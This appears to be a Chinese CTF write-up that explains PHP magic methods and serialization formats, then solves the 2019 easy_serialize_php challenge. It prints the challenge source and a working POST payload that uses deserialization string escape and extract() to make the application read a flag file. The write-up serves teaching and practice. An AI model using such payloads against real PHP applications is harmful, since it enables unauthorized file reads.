魔法函数

PHP中把以两个下划线__开头的方法称为魔术方法(Magic methods),这些方法在PHP中充当了举足轻重的作用。 魔术方法包括:

1. __construct() #类的构造函数
2. __destruct() #类的析构函数
3. __call()#在对象中调用一个不可访问方法时调用
4. __callStatic()#用静态方式中调用一个不可访问方法时调用
5. __get()#获得一个类的成员变量时调用
6. __set()#设置一个类的成员变量时调用
7. __isset()#当对不可访问属性调用isset()或empty()时调用
8. __unset()#当对不可访问属性调用unset()时被调用。
9. __sleep()#执行serialize()时,先会调用这个函数
10. __wakeup()#执行unserialize()时,先会调用这个函数
11. __toString()#类被当成字符串时的回应方法
12. __invoke()#当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用。
13. __set_state()#调用var_export()导出类时,此静态方法会被调用。
14. __clone()#当对象复制完成时调用
15. __autoload()#尝试加载未定义的类
16. __debugInfo()#打印所需调试信息

调用的顺序为: 构造方法 => set方法. => get方法 => isset方法 => unset方法 => isset方法 => 析构方法

__set()和__get(),刚刚是访问不存在或者不可访问属性时候进行的调用。__call() __callStatic() 是访问不存在或者不可访问的方法时候

__sleep() __wakeup() __toString()

serialize会先调用sleep函数 unserialize会先调用wakeup函数

tostring当需要输出得到对象名称时候会调用

序列化public private protect参数产生不同结果

1 <?php
2 class test{
3 private $test1="hello";
4 public $test2="hello";
5 protected $test3="hello";
6 }
7 $test = new test();
8 echo serialize($test); // O:4:"test":3:{s:11:" test test1";s:5:"hello";s:5:"test2";s:5:"hello";s:8:" * test3";s:5:"hello";}
9 ?>

test类定义了三个不同类型(私有,公有,保护)但是值相同的字符串,序列化输出的值不相同 O:4:”test”:3:{s:11:” test test1”;s:5:”hello”;s:5:”test2”;s:5:”hello”;s:8:” * test3”;s:5:”hello”;}

通过对网页抓取输出是这样的 O:4:”test”:3:{s:11:”\00test\00test1”;s:5:”hello”;s:5:”test2”;s:5:”hello”;s:8:”\00*\00test3”;s:5:”hello”;}

private的参数被反序列化后变成 \00test\00test1 public的参数变成 test2 protected的参数变成 \00*\00test3

php反序列化字符逃逸

# eg:
<?php
$str='a:2:{i:0;s:8:"Hed9eh0g";i:1;s:5:"aaaaa";}abc';
var_dump(unserialize($str));
#仍然可以输出上面的结果,这说明反序列化的过程是有一定识别范围的,在这个范围之外的字符(第二个例子里的abc)都会被忽略,不影响反序列化的正常进行。

[安洵杯 2019]easy_serialize_php

<?php

$function = @$_GET['f'];

function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}

if($_SESSION){
unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}

提取出关键信息

$function = @$_GET['f'];

if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}

GET 传参 f phpinfo 得到信息 d0g3_f1ag.php

show_image进行反序列化 $userinfo[‘img’]是flag.php的base64加密

filter函数进行过滤 会将字符串的特定字符为空由此(字符逃逸)

看到unset销毁$_SESSION 重新赋值

extract() 函数从数组中将变量导入到当前的符号表。

即会将之前$_SESSION存在的变量全部移除

post

ZDBnM19mMWFnLnBocA==也就是d0g3_f1ag.php的base64加密。

_SESSION[phpflag]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
#最后为
"a:2:{s:7:"phpflag";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}" ;s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"

经过filter过滤后phpflag就会被替换成空,

s:7:”phpflag”;s:48:” 就变成了 s:7:””;s:48:”;即完成了逃逸。

两个键值分别被序列化成了

s:7:””;s:48:”;s:1:”1”;即键名叫”;s:48: 对应的值为一个字符串1。这个键值对只要能瞒天过海就行。

s:3:”img”;s:20:”ZDBnM19mMWFnLnBocA==”;键名img对应的字符串是d0g3_f1ag.php的base64编码。

得到

$flag = ‘flag in /d0g3_fllllllag’;

base64加密 L2QwZzNfZmxsbGxsbGFn

得出flag